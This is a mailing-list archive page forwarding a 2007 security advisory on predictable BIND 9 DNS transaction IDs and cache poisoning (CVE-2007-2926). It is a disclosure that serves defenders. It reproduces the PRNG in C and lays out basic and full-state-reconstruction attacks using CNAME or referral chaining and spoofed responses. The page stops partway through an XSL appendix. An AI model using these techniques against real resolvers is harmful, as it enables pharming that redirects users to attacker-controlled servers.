Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 

   


   


   

















      :: Security-alerts
Security-Alerts mailing list archive (security-alerts@yandex-team.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[security-alerts] FW: BIND 9 DNS Cache Poisoning



> -----Original Message-----
> From: SecuriTeam [mailto:support@xxxxxxxxxxxxxx]
> Sent: Tuesday, July 24, 2007 2:50 PM
> To: html-list@xxxxxxxxxxxxxx
> Subject: [NEWS] BIND 9 DNS Cache Poisoning
>
>
> BIND 9 DNS Cache Poisoning
>
>
>
> The paper shows that BIND 9 DNS queries are predictable -
> i.e. that the source UDP port and DNS transaction ID can be
> effectively predicted. A predictability algorithm is
> described that, in optimal conditions, provides very few
> guesses for the "next" query (10 in the basic attack, and 1
> in the advanced attack), thereby overcoming whatever
> protection offered by the transaction ID mechanism. This
> enables a much more effective DNS cache poisoning than the
> currently known attacks against BIND 9. The net effect is
> that pharming attacks are feasible against BIND 9 caching DNS
> servers, without the need to directly attack neither DNS
> servers nor clients (PCs). The results are applicable to all
> BIND 9 releases [1], when BIND (the named daemon) is in
> caching DNS server configuration.
>
>
> Vulnerable Systems:
>  * BIND versions 9.4.0-9.4.1
>  * BIND versions 9.3.0-9.3.4
>  * BIND versions 9.2.0-9.2.8
>  * BIND versions 9.1.0-9.1.3
>  * BIND versions 9.0.0-9.0.1
>
> Immune Systems:
>  * BIND version 8
>  * BIND version 4
>
> 1. Introduction
> Attacks against DNS, and particularly the concept of DNS
> cache poisoning has been known for over a decade (e.g. [2]
> section 5.3 was published in 1989 and [3] was published in
> 1993). A concise threat analysis for the existing DNS
> infrastructure can be found in [4]. The focus of this paper
> is on DNS cache poisoning attack.
>
> Typically, a DNS query is sent over the connectionless UDP
> protocol. The UDP response is associated with the request via
> the source and destination host and port (UDP properties),
> and via the 16 bit transaction ID value (the response's
> transaction ID should be identical to the request's
> transaction ID). Assuming that an attacker knows that a DNS
> query for a specific domain is about to be sent, from a
> specific DNS server/resolver, the attacker can trivially
> predict the source IP address (the address of the requesting
> name server/client), the destination IP address (the address
> of the target name server), and the destination UDP port (53
> the standard UDP port for DNS queries). The attacker needs
> additional 2 data items the source UDP port, and the DNS
> transaction ID, to be able to blindly inject his/her own
> response (before the target server's response typically DNS
> server use the first matching response and silently discards
> any further responses).
>
> As mentioned above, the transaction ID is 16 bits quantity,
> and the source UDP port is theoretically 16 bits quantity too
> (though for practical reasons, only a sub-range is used as
> UDP source ports e.g. in 1024/1025-4999/5000 in older
> operating systems, and 49152-65535 in newer operating systems).
>
> So in theory, the total entropy from an attacker's point of
> view is 32 bits, and practically (in older operating systems)
> log2(3976 216) which is almost 28 bits, or (in newer
> operating systems) log2(3976 216) which is 30 bits.
>
> Note that for practical reasons, it is not a good idea to use
> a combination of transaction ID and UDP port which are
> already in the "waiting queue" for a DNS response. Typically
> there are very few such pending requests, so this has
> negligible effect on the overall entropy.
>
> In BIND 9 the UDP source port is predictable it is determined
> when the daemon is started or shortly thereafter (the UDP
> port is unchanged, as mentioned in [5] and its thread).
>
> In general, predictability of the transaction ID can
> facilitate DNS cache poisoning attacks. This was mentioned in
> [2] section 5.3, [3] and [6] section 6.1. In April 1997, it
> was discovered that BIND (4.9.5) generates a sequential
> transaction ID ([7]); it seems though that the BIND
> developers (led by Paul Vixie) were aware of this attack
> vector back in 1995 (see [6] section 6.1). While the advisory
> contained a detailed fix suggestion, using modular arithmetic
> PRNG, the issue was actually fixed by introducing a
> hash-table based PRNG for BIND 8.2 (released March 1999), but
> the code was rewritten in BIND 9.0.0 (released September
> 2000) to make use of a linear feedback shift register based PRNG.
>
> To clarify: the rest of this discussion assumes BIND 9.4.1
> (or 9.x in general) wherein those old vulnerabilities do not exist.
>
> In April 2001 a paper ([8]) was released, describing the use
> of a method called "attractors" to outline anomalies and
> predictability in numeric sequences. In January 2003, this
> method was applied to BIND 9.2.2rc1 ([9]), concluding that
> "BIND 9's random number sequence is predictable 20% of the
> time with a spoofing set size of 5000". However, this result
> is only roughly about 2.5 times better than what can be
> achieved using 5000 randomly chosen values, and as will be
> shown below, a much better result can be obtain by a closer
> analysis. Note that this analysis was conducted prior to (and
> perhaps served as a trigger to) the fix introduced in BIND
> 9.2.3rc1 (August 2003)1.1 In BIND 9.2.3rc1, an implementation
> bug was fixed in the PRNG (see [10], bugs 1406 and 1407)
>
> Combining the above "attractors" attack with the static UDP
> port yields an attack that requires about 5000 DNS responses
> to poison the cache. It is doubtful that such attack will be
> practical, since a DNS response cannot be a lot shorter than
> 80 bytes (in reality the attacker would probably need a bit
> more, so 100-150 is a better assumption, but nevertheless 80
> can be used as a lower limit, for the benefit of the doubt),
> and 5000 such responses yield 400KB. That much data should
> arrive at the DNS stack between the time it emits the DNS
> query to be poisoned and the time the genuine server's
> response arrive to it. A single DNS round trip typically
> takes anywhere between few dozen milliseconds to few hundred
> milliseconds (for example, consider the 0-referral latency in
> table 1 of [11], or the statistics for the .COM gTLD in
> [12]). Assuming 100ms round trip, that requires the attacker
> a significant uplink bandwidth of 32 megabit/sec (similar
> calculations can be found in section 6 of [23]). Even if the
> attractor method is refined and an order of magnitude
> improvement is achieved, it would still require an uplink of
> 3.2 megabit/sec, which is not trivial on one hand, and may
> still not be enough on the other hand (it assumes 100ms round
> trip for the genuine DNS query, and in some cases the genuine
> DNS server may respond faster). And all this only guarantees
> 20% success rate.
>
> Another well known attack against DNS caching/resolution is
> the "birthday attack". The birthday attack against DNS
> servers is hinted to in [5] (July 2001) and described in
> fullness in [13] (November 2002); a more elaborate discussion
> can be found in [9] and [14].
>
> Essentially, where there are N entropy bits, the attack
> consists of sending simultaneously about 2N/2 DNS queries and
> 2N/2 DNS responses in order to make a match (with high enough
> probability). Unfortunately, the birthday attack cannot be
> combined with the "attractors" method. That's because the
> birthday attack needs multiple DNS queries (to the same
> target server), and each such query results in its own
> transaction ID. Using the attractor to predict the next
> transaction ID requires that the previous sequence number be
> known. Yet after the first query is sent, this condition
> cannot be met.
>
> Combining the birthday attack with the UDP port information
> yields an attack that requires simultaneous launching of few
> hundred DNS queries and responses (we have N=16 so 2N/2=256)
> to cover for the 16 entropy bits of the DNS transaction ID.
> In order for the attack to be effective, this burst should
> take no longer than the round trip of the DNS query and
> answer from the genuine server (say, 100ms). However, forcing
> the DNS stack to receive several hundred DNS queries in a
> short period of time is oftentimes not realistic, especially
> when considering DNS security architecture such as
> Split-Split DNS. With Split-Split DNS architecture, the only
> way to access the caching DNS server is from within the
> organization (or ISP) "external" queries are not served, e.g.
> they may be blocked by a firewall. This is a pretty standard
> setup nowadays (it is the recommended DNS secure
> architecture). The paper assumes, therefore, that the
> attacker has no direct access to the internal network, i .e.
> that the attacker cannot run home made executable (attack
> scripts) from the internal network. This pretty much rules
> out the option to hit the DNS stack with thousands of queries
> per second, thereby rendering the birthday attack impractical.
>
> The attacks described in this paper make use of the
> predictable nature of BIND 9 transaction IDs to attack the
> DNS stack. It is assumed that the stack can be forced to
> perform DNS queries using a malicious web page (the concept
> of poisoning DNS cache through a malicious web page is
> described in [4] and demonstrated in [15] for a different
> kind of DNS attack). This is a real-life condition, but of
> course it is quite limiting in what the attacker can do the
> attacker, for example, cannot force a burst of hundreds of
> queries all for the same hostname to be emitted from the same
> client. Nevertheless, it will be shown that since the
> transaction ID (and the UDP source port) is predictable
> enough, this suffices to mount a successful attack.
>
> 2. Attacking the BIND 9 DNS Cache Server ("named")
> 2.1 Observations on BIND's "named"
> The BIND 9 named server uses static UDP source port (acquired
> at the startup of the daemon's run), and generates a very
> predictable transaction ID. A full analysis of the
> transaction ID generation mechanism was carried out using the
> BIND freely available source code. The research results were
> verified using live captures of named queries obtained from
> named (from a standard BIND 9.4.1 installation) running on
> Windows XP SP2. Since the analysis doesn't rely on the
> initialization of the transaction ID mechanism, but rather on
> the way it advances (which is common to all platforms), the
> results thus obtained are applicable to all hardware and
> software platforms.
>
> The PRNG in use for generating transaction IDs is implemented
> in the BIND 9.4.1 source ([16]) file ./lib/isc/lfsr.c. In
> essence, the caller (function qid_allocate() in file
> ./lib/dns/dispatch.c) calls isc_lfsr_init() at the beginning
> of the run for each of the two "lfsr" variables to initialize
> the PRNG. As of this moment, the caller (function
> dns_randomid() in file ./lib/dns/dispatch.c) calls
> isc_lfsr_generate32 for each transaction ID, obtaining 32
> pseudo random bits with each call (and using the least
> significant 16 bits of these as the transaction ID).
>
> The internal state thus consists of two lfsr variables, which
> are 32 bit quantities. With each call to isc_lfsr_generate32,
> they are advanced as mutual feedback linear feedback shift
> registers, as following:
>
> C code (adapted from the above files and modified for clarity):
>
>  unsigned int lfsr_generate(unsigned int lfsr_state, unsigned
> int tap)
>  {
>   if (lfsr_state & 1)
>   {
>    lfsr_state = (lfsr_state >> 1) ^ tap;
>   }
>   else
>   {
>    lfsr_state >>= 1;
>   }
>   return lfsr_state;
>  }
>  unsigned int lfsr_skipgenerate(unsigned int lfsr_state,
>                                 unsigned int tap,
>                                 unsigned int skip)
>  {
>   if (skip)
>   {
>    lfsr_state = lfsr_generate(lfsr_state, tap);
>   }
>   lfsr_state = lfsr_generate(lfsr_state, tap);
>   return lfsr_state;
>  }
>  skip1 = lfsr1_state & 1;
>  skip2 = lfsr2_state & 1;
>
>  lfsr1_state = lfsr_skipgenerate(lfsr1_state, tap1, skip2);
>  lfsr2_state = lfsr_skipgenerate(lfsr2_state, tap2, skip1);
>
>  trxid = (lfsr1_state ^ lfsr2_state) & 0xFFFF;
>
> In words, the algorithm is as following:
>
> - The least significant bit of each variable is saved.
>
> - Each variable is advanced (shifted right) as an LFSR (with
> hard-wired, constant tap) once if its saved peer bit (see
> above) is 0 and twice if the saved peer bit is 1.
>
> - Finally, the 16 bit transaction ID is the 16 least
> significant bits of the XOR value of the two variables. It is
> serialized with most significant byte first, then least
> significant byte (big endian style).
>
> It is important to note that the above description does not
> cover a code branch (in function lfsr_generate(), file
> ./lib/isc/lfsr.c) which, for each variable, if its state is
> 0, then it is re-seeded. In reality, this never happens,
> because the initial seeding ensures that the initial state in
> each variable is never 0. And since both LFSR taps are
> reversible, it can be easily seen that neither variable can
> assume the value 0.
>
> The net result is, therefore, a system comprising of two 32
> bit mutually clock-controlled LFSRs, whose states are
> linearly combined to yield 16 bit output. In essence, this is
> a weak version (since the output is 16 bits, as opposed to
> the traditional 1 bit) of the well studied cryptosystem known
> by many names: "bilateral stop/go (LFSR) generator",
> "mutually clock controlled (LFSR) generator" and "mutual (or
> bilateral) step-1/step-2 (LFSR) generator". The variant used
> in BIND 9 is very weak due to its large output comprising of
> 16 bits (out of the combined internal state of 16 bits). As
> such, it lends itself to some trivial attacks as can be seen below.
>
> An observation that plays an important role later is as
> following. When the transaction ID least significant bit is
> 0, it means that the next step, the two LFSRs will advance in
> the same way (because their peer bits are identical). This
> can be either one step (when the two bits are 0) or two steps
> (when the two bits are 1).
>
> Assuming now that the least significant bit of the
> transaction ID is indeed 0, there are two branches, depending
> on the actual values of the pair of least significant bits in
> the two LFSRs:
>
>  * When the two bits are 0 (probability 1/2), it means that
> the next value of each LFSR is its current value, shifted
> right, with an unknown most significant bit. The XOR of the
> least significant 16 bits (i.e. the next transaction ID) is
> therefore the current transaction ID, shifted right once,
> with an unknown most significant bit. In other words, when
> the two least significant bits are 0, there are two
> candidates for the next transaction ID.
>
>  * When the two bits are 1 (probability 1/2), the situation
> is slightly more complicated. Both registers are advanced
> twice. Moreover, in the first step, both registers force
> their taps to XOR into them (because the least significant
> bits are 1). However, at the second step, the bits are
> unknown. But that's not the end of it, because while the
> exact bits are unknown, their XOR is known, so there are
> actually only two cases (guesses). And of course, the two
> most significant bits of the result are unknown too, so there
> are 8 candidates altogether in this branch.
>
> To summarize, when the least significant bit of the
> transaction ID is 0, there are 10 possible values (and each
> such value is easily calculated) for the next transaction ID
> (2 when both bits are 0, and 8 when both bits are 1). Note
> that the probability of the values is not uniform: since the
> probability for two 0 bits is , it follows that each of the
> two values associated with this branch has probability ,
> while the probability of the two 1 bits is , which means that
> each value of the eight values associated with this branch
> has probability 1/16. In information theoretic terms, when
> the last significant bit of the transaction ID is 0, the
> entropy of the next transaction ID is 3 bits, instead of the
> theoretic maximum of 16 bits.
>
> 2.2 The basic attack
> The attack target is an organization with BIND 9 DNS caching
> server. This server does not answer DNS queries from the
> Internet, and no direct access to the internal network is
> available for the attacker. The goal of the attack is to
> poison the cache entry for the domain example.com. It is
> assumed that this domain is not yet cached (or that its cache
> entry has expired). The attacker needs to make the cache
> server cache the authoritative name server entry for
> example.com as the attacker's IP address, rather than the IP
> address of the real authoritative name server for example.com.
>
> The attacker lures one of the network users to visit the
> attacker's web page. This page contains an image URL to, say,
> www1.attacker.com. The discussion below skips the part where
> the name server obtains the authoritative name-server for
> attacker.com and focuses on the query for www1.attacker.com.
> It is sent to the attacker's name server. This name server
> observes the least significant bit of the DNS transaction ID.
> If it is not 0, it sends back a CNAME record for the next
> host name (i.e. a CNAME that points at www2.attacker.com).
> The BIND 9 DNS server will then request www2.attacker.com
> with the next ID value. This process repeats itself few times
> (up to 14 times due to CNAME chaining support by BIND 9)
> until the bit value is 0. At this point, the attacker name
> server returns a CNAME record that points at www.example.com.
> Note that altogether up to (and possibly including) 15 CNAME
> "redirections" were performed - the BIND 9 DNS server follows
> up to (and including) 15 CNAME r edirections. However, half
> of the time, the first DNS query (to www1.attacker.com)
> already has the least significant bit 0, and statistically
> speaking, the expected length of the required chain is 2 (up
> to a small quantity due to the cutoff at chain length 15).
>
> The above practice is called CNAME chaining2. While it is
> probably the easiest to explain, other methods (possibly
> better, in some aspects) of forcing a DNS caching server to
> send multiple queries are discussed later in this document.
>
> Note that the BIND 9 DNS server handles CNAME chains (up to
> 16 "redirections") well, but will only return the first 15
> CNAME records (i.e. the 16th CNAME will not be included in
> the response returned to the client). Therefore, when the
> chain contains up to (and including) 15 redirections, the
> response to the client will be functional, i.e. will include
> the IP address of the final CNAME.
>
> Assuming the attacker received a query whose transaction ID
> is even and the attacker then redirected to www.example.com,
> the second phase begins. The attacker needs to prepare the 10
> possible DNS answers, corresponding to the 10 possible
> transaction ID values (as described above), and with the same
> UDP destination port (which is copied from the query source
> port), with source port 53, destination IP address being the
> request's source IP address, and the source IP address should
> be that of the name server for the .COM gTLD (which will be
> queried by the DNS caching name server for the
> www.example.com resolution).
>
> The attacker can start sending those 10 DNS responses, as
> rapidly as possible, cycling through them again and again.
> Even with a modest 256Kbit uplink and with even 150 bytes per
> response it is possible to complete a cycle in less than 50
> milliseconds. This increases the likelihood that the spoofed
> response (from the attacker's server) will reach the DNS
> server before the genuine DNS response (from the gTLD server).
>
> Note that in order to maximize the likelihood of the attack
> to succeed, the attacker may order the transaction ID values
> used in the DNS responses, such that the high probability
> values (the two values associated with least significant bits
> being 0) are transmitted first.
>
> The Perl script in Appendix B demonstrates the preparation of
> the candidate transaction IDs. It takes one command line
> argument (the current transaction ID, expressed as 4
> hexadecimal digits, and is supposed to have least significant
> bit 0) and it prints the 10 possible next transaction ID
> values (the two most likely values are printed first).
>
> 2CNAME chains are discouraged per the DNS RFC 1034 ([17]),
> section 3.6.2. Indeed, "standard" name servers eliminate such
> indirections from a static DNS configuration by resolving
> CNAME chains internally and providing a consolidated result.
> At the same time, CNAME chaining is in use by many good and
> respectable domains, e.g. when a domain uses Content Delivery
> Network (CDN) services it typically points at the CDN host
> (on a different domain) via a CNAME record. Therefore, to
> implement the above CNAME chain it is advised to use a name
> server which provides user-controllable runtime
> configuration, such as [18].
>
> 2.3 An advanced attack: full PRNG state reconstruction
> A shortcoming of the basic attack is that it provides 10
> candidates for the next transaction ID. Also, it cannot
> predict sequences of transaction IDs. It merely uses an
> obvious weakness in the PRNG scheme to predict the next value
> in half the cases. However, since the BIND 9 PRNG is weak, it
> is also feasible to completely predict it (i.e. to reproduce
> its internal state in fullness). For this, a sequence of
> 13-15 consecutive DNS queries is needed (possibly using the
> CNAME chaining technique described above).
>
> An algorithm that reconstructs the state of the two LFSRs
> after the first entry of the transaction ID sequence is
> generated, is as following (using straightforward and well
> known cryptanalysis techniques):
>
> - Guess the 6-7 least significant bits of the first LFSR
> (hereinafter the state assume is always the state right after
> the first transaction ID in the sequence is generated). Since
> the first transaction ID is the XOR of the least significant
> 16 bits of the two LFSRs, it immediately follows that the 6-7
> (respectively) bits of the second LFSR become known.
>
> - Per each such guess (there are 64/128 such guesses,
> respectively), advance the LFSRs and observe the XOR of their
> results, while all the time keeping in mind that as the
> registers advance, the "window of known bits" shrinks. Each
> register has its own window (since they not necessarily
> advance at the same pace), but since the least significant
> bits are known (for few steps, at least), the way they
> advance is completely known. This can be used to eliminate
> wrong guesses. At the end of this process, it is expected
> that very few candidates remain.
>
> - Per each remaining candidate, try guessing alternately
> another bit of the first LFSR, and possibly eliminate using
> the above technique (following the LFSRs as they advance),
> then do so for the second LFSR, alternating between the two.
> Usually (when 13 or more transaction IDs are available), it
> is possible to improve by at least one bit per iteration, but
> occasionally there's no escape from guessing the bit and moving on.
>
> - When one of the registers is fully known (all 32 bits) it
> can be followed "forever" (its "window" becomes infinite).
> When the two LFSRs are fully known, the internal state has
> been completely reconstructed.
>
> Note that since each shift register advances once or twice
> per transaction ID, it follows that it takes 8-16 advances to
> get the most significant bit of each register to appear in
> the transaction ID. Because the algorithm above uses the
> state after the first transaction ID as its initial state,
> the algorithm actually requires at least 9-17 consecutive
> queries to fully reconstruct the internal state ("at least",
> because if say both registers advance by exactly 16 steps,
> the most significant bits will only be observed XORed with
> each other, hence one bit of information will still be
> missing). The exact number depends on the advancement
> schedule of both registers, but the probability for a success
> within m+1 consecutive queries can be easily bounded from
> above by the probability of the minimum of two binomial
> random variables variables m+B(m, ) to be >= 16 (keep in mind
> that the advancement is 1+B(1, 1/2)), and this bound is quite
> close to the actual probability of success. It c an easily be
> seen that good results are therefore expected when m=12 (13
> queries), and excellent ones when m=14 (15 queries).
>
> The Perl script in Appendix C takes around 10-15 milliseconds
> (on IBM ThinkPad T60 laptop with Intel Centrino CoreDuo T2400
> CPU @1.83GHz and Windows XP SP2 operating system certainly a
> moderately powered machine) to extract the internal state
> from 13-15 consecutive transaction IDs. It takes one command
> line argument the name of its input file. This file is
> assumed to contain lines, where each line describes a single
> DNS query (4 hex digits for the transaction ID). A file in
> this format can be produced from a PDML file (one of the
> export formats of the WireShark protocol analyzer) using the
> XSL transformation in Appendix A.
>
> Rewriting the algorithm in a compiled language (e.g. C/C++)
> is expected to yield at least an order of magnitude
> improvement in performance, thus getting it to run in around
> 1-2 milliseconds (or less).
>
> 2.4 Attack variants
> 2.4.1 Pre-computed table
> The basic attack algorithm calculates the 10 candidates in
> run time, given the current transaction ID (provided it is
> even). Another approach can be to pre-calculate a table for
> all (even) transaction IDs, and per each list all 10
> candidates. Such table has 215 entries (since there are 215
> even transaction IDs), and each entry is a list of 10
> candidates, i.e. ten 16 bit quantities (20 bytes altogether).
> Thus the total storage needed for this table is 640KB.
> Generating this table takes less than half a second with a
> Perl script, so it should probably take few dozen
> milliseconds (or less) in native C/C++ code.
>
> 2.4.2 Information theoretic results
> Experiments with the full PRNG state reconstruction script
> revealed that typically when there are less than 13-15 known
> transaction IDs, more than one internal state candidate is
> found. All candidates generate the same transaction ID
> sequence, and hence are indiscernible from one another. This
> means that indeed typically around 13-15 transaction IDs are
> indeed necessary (theoretically!) to reconstruct the internal
> state, or in other words, that the above algorithm (and
> script) are optimal from an information theoretic aspect.
>
> 2.4.3 Linear equations
> Note that the PRNG state reconstruction algorithm makes use
> of incremental enumeration and elimination, with basis guess
> of 6-7 bits. An alternative approach is to represent the
> information as linear equations (while taking into account
> the non-uniform advance in the registers). Again this is a
> well known cryptanalytic technique for attacking such a
> system. However, in this case it seems that guessing and
> elimination is faster than solving the set of equations.
>
> 2.4.4 Earlier versions of BIND 9
> With versions of BIND 9 earlier than 9.2.3rc1, the shift
> register taps are slightly different (the bug fix introduced
> in 9.2.3rc1 amounts to changing the tap of the second shift
> register, as well as changing the way the tap is interpreted
> in both registers, but the underlying algorithm was not
> modified). Both attacks described above should work for
> earlier versions of BIND 9 (though this was not explicitly
> tested), with the following tap values:
>
>  $tap1=0xc000002b; # (0x80000057>>1)|(1<<31)
>  $tap2=0xc0000061; # (0x800000c2>>1)|(1<<31)
>
> 2.4.5 Additional ways to force multiple queries
> The CNAME chain can employ its final redirection as an
> authoritative NS referral (instead of a CNAME redirection).
>
> CNAME chaining is not the only way to force the target DNS
> server to send multiple queries to the attacker's server.
> Another such way is referral chaining (i.e. using NS
> authority records). The technique is as following: for a
> malicious domain attacker.com, the attacker establishes a
> chain of sub-domains: z.z.z.z .z.z.z.attacker.com. The
> attacker forces the target DNS server to resolve z.z.z.z
> .z.z.z.attacker.com. The attacker's server responds with a NS
> record in the authority section whose name is z.example.com
> and whose value is the attacker's name server (this may
> require a glue record in the additional section if the
> attacker's name server is in the attacker.com domain). Upon
> the next query, the attacker's server responds with
> z.z.attacker.com NS record, and so forth. BIND9 will generate
> a new transaction ID with each such query, and thus the
> attacker can collect a sequence of consecutive transaction
> ID's. Experiments show that it's possible to extract
> sequences of lengt h 100 (probably even more, the limit is
> likely driven from the maximum DNS name size 256 characters,
> so the length limit is probably slightly less than 128). The
> final answer from the attacker can be a CNAME record or an
> authority NS record pointing at www.example.com, to force DNS
> resolution of the target domain.
>
> 3. Conclusions
> It is saddening to realize that 10-15 years after the dangers
> of predictable DNS transaction ID were discovered, still the
> leading DNS cache server does not incorporate strong
> transaction ID generation, particularly such one that is
> based on industrial grade cryptographic algorithms.
>
> The paper demonstrated that the "classic" DNS poisoning
> attack is still applicable for BIND 9, and the attack
> described is far more effective than any attack described. It
> requires much less "guesses" than the "attractors"-based
> attack, and it does not require "query access" to the DNS
> server (except for a single triggering query), as opposed to
> the burst of hundreds of queries required by the birthday
> attack, rendering the latter almost ineffective when
> Split-Split DNS configuration is used.
>
> The fact that the BIND 9 transaction ID can be predicted for
> an extended time period has some interesting consequences.
> For example, it means that if DNS queries made by a BIND 9
> caching DNS server to a 3rd party DNS server are recorded by
> that 3rd party DNS server (e.g. in log files), then
> potentially anyone with access to this data may be able to
> reconstruct the BIND 9 internal PRNG state and thus be able
> to reconstruct the next transaction IDs. Quite likely, the
> BIND server already sent additional queries to other DNS
> servers, but if the number of additional queries is low
> enough (e.g. few hundreds), it still enables an attacker to
> effectively poison the BIND 9 server cache.
>
> By the same principle, an attacker who once obtained the
> internal state can quite effectively continue to poison the
> cache for multiple "target queries" using the known internal
> state, without the need to reconstruct it again (possibly the
> attacker would like to obtain one sample of the current
> transaction ID to re-synchronize his/her copy of the internal
> state by running it forward until it collides with the
> sample). This is again stronger than other attack methods
> which require exerting the same amount of effort for any
> additional poisoning attempt.
>
> To some extent, the attack can be thought of as "degrading"
> the DNS transaction ID mechanism of BIND 9 to something close
> to the "increment by one" algorithm of the 1990's. Hopefully
> this analogy can help the security community to accurately
> assess the gravity of this issue.
>
> 4. Disclosure timeline
> May 29th, 2007 ISC were notified via email.
> July 2007 ISC releases a fixed version. Simultaneously,
> Trusteer discloses the vulnerability to the public (in the
> form of this document).
>
> 5. Vendor/product status
> All stable versions of BIND 9 to date (except the ones
> released simultaneously with this paper) are vulnerable, i.e.
> BIND 9 versions 9.4.0-9.4.1, 9.3.0-9.3.4, 9.2.0-9.2.8,
> 9.1.0-9.1.3 and 9.0.0-9.0.1.
>
> BIND 8 and BIND 4 are not affected.
>
> The vendor (Internet Systems Consortium, http://www.isc.org/)
> has released a new version of BIND 9 which, according to the
> vendor, addresses this issue. Effective immediately, the new
> version can be downloaded from the vendor's web site.
>
> The vendor designates this issue as #2203 (RT#16915).
>
> The vendor has obtained the following MITRE vulnerability
> designation for this issue: CVE-2007-2926.
>
> 6. References
> [1] "Internet Systems Consortium BIND 9.4.1" (Internet
> Systems Consortium web page)
> http://www.isc.org/index.pl?/sw/bind/view/?release=9.4.1
>
> [2] "Security Problems in the TCP/IP Protocol Suite"
> (Computer Communications Review 2:19, pp. 32-48), Steven M.
> Bellovin (AT&T Bell Laboratories), April 1989
> http://www.cs.columbia.edu/~smb/papers/ipext.pdf
>
> [3] "ADDRESSING WEAKNESSES IN THE DOMAIN NAME SYSTEM
> PROTOCOL" (M.Sc. Thesis), Christoph Schuba, August 1993
> http://ftp.cerias.purdue.edu/pub/papers/christoph-schuba/schub
> a-DNS-msthesis.pdf
>
> [4] "Threat Analysis of the Domain Name System (DNS)" (IETF
> RFC 3833), Derek Atkins and Rob Austein, August 2004
> http://www.ietf.org/rfc/rfc3833.txt
>
> [5] "Re: BIND's vulnerability to packet forgery"
> (mailing.unix.bind-users mailing list submission), Daniel J.
> Bernstein, July 29th, 2001
> http://groups.google.com/group/mailing.unix.bind-users/msg/92f
> 94d2f940cdfab?dmode=source&hl=en
>
> [6] "DNS and BIND Security Issues" (Proceedings of the Fifth
> USENIX UNIX Security Symposium), Paul Vixie (Internet
> Software Consortium), May 11th, 1995
> http://www.usenix.org/publications/library/proceedings/securit
> y95/full_papers/vixie.txt
>
> [7] "BIND Vulnerabilities and Solutions" (Secure Networks
> Inc. and CORE Seguridad de la Informacion Security Advisory),
> Ivan Arce and Emiliano Kargieman, April 22nd, 1997
> http://www.openbsd.org/advisories/res_random.txt
>
> [8] "Strange Attractors and TCP/IP Sequence Number Analysis",
> Michal Zalewski, April 21st, 2001
> http://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html
>
> [9] "DNS Cache Poisoning - The Next Generation", LURHQ Threat
> Intelligence Group, January 27th, 2003
> http://www.lurhq.com/cachepoisoning.html (HTML)
> http://www.lurhq.com/dnscache.pdf (PDF)
>
> [10] "BIND 9.2.3", Internet Systems Consortium, February 4th,
> 2004 http://www.isc.org/index.pl?/sw/bind/view/?release=9.2.3
>
> [11] "DNS Performance and the Effectiveness of Caching" (1st
> ACM SIGCOMM Internet Measurement Workshop, San Francisco,
> CA), Jaeyeon Jung, Emil Sit, Hari Balakrishnan and Robert
> Morris, November 2001 http://nms.lcs.mit.edu/papers/dns-ton2002.pdf
>
> [12] "DNS com net Connectivity"
> http://smokeping.ovh.net/ovh-server-statistics/show.cgi?target
> =DNS.com-net
>
> [13] "Vulnerability in the sending requests control of Bind
> versions 4 and 8 allows DNS spoofing" (CAIS alert
> ALR-19112002a), Vagner Sacramento and Ccais/RNP, November
> 19th, 2002
> http://www.rnp.br/cais/alertas/2002/cais-ALR-19112002a.html
>
> [14] "Vulnerability Note VU#457875" (CERT Advisory), Allen
> Householder and Ian A Finlay, December 19th, 2002
> https://www.kb.cert.org/vuls/id/457875
>
> [15] "DNS Poisoning" (demonstration web page), Ketil Froyn,
> 2003 http://ketil.froyn.name/poison.html
>
> [16] "ISC Software Download - Downloading: BIND 9.4.1 Source"
> (Internet Systems Consortium download web page)
> http://www.isc.org/index.pl?/sw/dl/?pkg=bind9/9.4.1/bind-9.4.1
> .tar.gz&name=BIND%209.4.1%20Source
>
> [17] "DOMAIN NAMES - CONCEPTS AND FACILITIES" (IETF RFC
> 1034), Paul Mockapetris, November 1987
> http://www.ietf.org/rfc/rfc1034.txt
>
> [18] "Stanford::DNSserver - A DNS Name Server Framework for
> Perl", Rob Riepel and other contributors (see
> http://www.stanford.edu/~riepel/Stanford-DNSserver/DNSserver.h
> tml#contributions)
> http://www.stanford.edu/~riepel/Stanford-DNSserver/
>
> [19] "DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION" (IETF
> RFC 1035), Paul Mockapetris, November 1987
> http://www.ietf.org/rfc/rfc1035.txt
>
> [20] "How long can an NS chain be?" (NameDroppers mailing
> list), Daniel J. Bernstein, December 28th, 1998
> http://www.ops.ietf.org/lists/namedroppers/namedroppers.199x/m
> sg03692.html
>
> [21] "Clarifications to the DNS Specification" (IETF RFC
> 2181), Robert Elz and Randy Bush, July 1997
> http://www.ietf.org/rfc/rfc2181.txt
>
> [22] "Command Line Transformations Using msxsl.exe" (MSDN XML
> General Technical Articles), Andrew Kimball, September 2001
> http://msdn2.microsoft.com/en-us/library/aa468552.aspx
>
> [23] "Measures to prevent DNS spoofing" (Internet-Draft,
> expired), Bert Hubert (Netherlabs Computer Consulting BV) and
> Remco van Mook (Virtu), August 14th, 2006
> http://www.faqs.org/ftp/internet-drafts/draft-hubert-dns-anti-
> spoofing-00.txt
>
> Appendix A XSL file
> This XSL file can be applied to the PDML export file produced
> by the WireShark network analyzer (a similar XSL can be used
> for Ethereal, though the latter uses slightly different field
> names). It extracts data per each DNS query into a single
> line, separated by spaces. The following fields are extracted:
>
>  * DNS transaction ID (4 hex digits)
>  * Capture timestamp (seconds, 9 digits after the decimal point)
>  * Query object (string)
>  * UDP source port (4 hex digits)
>
> The XSL transformation can be applied by any XSLT engine,
> e.g. Microsoft MSXSL ([22]).
>
> The Perl script in appendix C assumes the output of this XSL
> transformation as its input.
>
> It is advised that WireShark filters be used prior to
> applying the XSL transformation, because the former is much
> quicker than the latter, e.g. filtering for ip.src== and
> dns.flags.response==0 before exporting.
>
> <?xml version="1.0" encoding="ISO-8859-1"?>
> <xsl:stylesheet version="1.0"
> xmlns:xsl="http://www.w3.org/1999/XSL/Transform";>
> <xsl:strip-space elements="*"/>
> <xsl:output method="text" encoding="ISO-8859-1"/>
> <xsl:template match='/pdml/packet/proto[@name="dns" and
> field[@name="dns.flags"]/field[@name="dns.flags.response"]/@va
> lue="0"]'>
> <xsl:value-of select='field[@name="dns.id"]/@value' />
> <xsl:text></xsl:text>
> <xsl:value-of
> select='../proto[@name="geninfo"]/field[@name="timestamp"]/@value' />
> <xsl:text></xsl:text>
> <xsl:value-of
